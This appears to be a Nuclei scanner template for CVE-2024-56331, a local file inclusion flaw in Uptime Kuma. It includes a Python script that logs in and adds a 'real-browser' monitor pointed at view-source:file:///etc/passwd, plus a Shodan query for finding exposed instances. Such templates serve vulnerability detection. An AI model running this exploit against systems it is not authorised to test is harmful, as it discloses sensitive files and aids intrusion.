id: CVE-2024-56331 info: name: Uptime-Kuma - Local File Inclusion (LFI) author: hyni03 severity: critical description: | Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature. By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot of local sensitive files, because the user input is not validated by the server. impact: | An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging the "real-browser" feature, leading to potential information disclosure of sensitive system files. remediation: | This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-56331 - https://github.com/griisemine/CVE-2024-56331 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 6.8 cve-id: CVE-2024-56331 cwe-id: CWE-22 epss-score: 0.01829 epss-percentile: 0.76683 metadata: verified: true shodan-query: http.title:"Uptime Kuma" product: uptime-kuma vendor: uptime-kuma tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln variables: username: "{{username}}" password: "{{password}}" HOST: "{{Hostname}}" code: - engine: - py - python3 # Requires python installation on the system source: | import os import time try: import socketio except ImportError: raise ImportError("The 'socketio' library is not installed. Please install it using 'pip install python-socketio'.") # Load environment variables USER = os.getenv('username') PASS = os.getenv('password') HOST = os.getenv('HOST') PORT = os.getenv('PORT') # Configuration settings CONFIG = { "server_url": f"ws://{HOST}", "credentials": {"username": USER, "password": PASS}, "request_types": {"real_browser": "real-browser", "http": "http"}, "url_prefix": {"view_source": "view-source:file://", "file": "file://"} } TARGET_FILES = ["/etc/passwd"] client = socketio.Client() def connect_to_server(url, retries=3, delay=2): for attempt in range(retries): try: client.connect(url, wait_timeout=10) print(f"[+] Connected to: {url}") return True except Exception as e: print(f"[!] Connection attempt {attempt + 1}/{retries} failed: {e}") time.sleep(delay) return False try: if not connect_to_server(CONFIG["server_url"]): print("[!] Unable to connect to the server. Exiting.") exit(1) # Attempt login login_resp = client.call("login", { "username": CONFIG["credentials"]["username"], "password": CONFIG["credentials"]["password"] }, timeout=10) if login_resp and login_resp.get("ok"): print("[+] Login successful") # Process each sensitive file request for file_path in TARGET_FILES: req_type = CONFIG["request_types"]["real_browser"] # Use view-source prefix in real-browser mode url_prefix = CONFIG["url_prefix"]["view_source"] if req_type == CONFIG["request_types"]["real_browser"] else CONFIG["url_prefix"]["file"] target_url = f"{url_prefix}{file_path}" print(f"[~] Sending {req_type} request for: {target_url}") add_payload = { "type": req_type, "name": f"{req_type} request for {file_path}", "url": target_url, "method": "GET", "maxretries": 0, "timeout": 500, "ignoreTls": True, "accepted_statuscodes": ["200-299"], "conditions": "[]" } response = client.call("add", add_payload, timeout=15) print(f"[+] Response for {file_path}: {response}") else: print("[!] Login failed. Please check credentials.") except Exception as err: print(f"[!] An error occurred during execution: {err}") finally: client.disconnect() print("[*] Disconnected from the server") matchers: - type: word words: - "/etc/passwd: {'ok': True, 'msg': 'successAdded'" # digest: 4b0a00483046022100c2046c7405108754f770b67dfce0f1fb7bf151f6a842e841a8b38c37dbefaea8022100f6102408fa867fb04f8a33c7475bb22686de9b68c219cc3d0a5f9e49ea3ee6e8:922c64590222798bb761d5b6d8e72950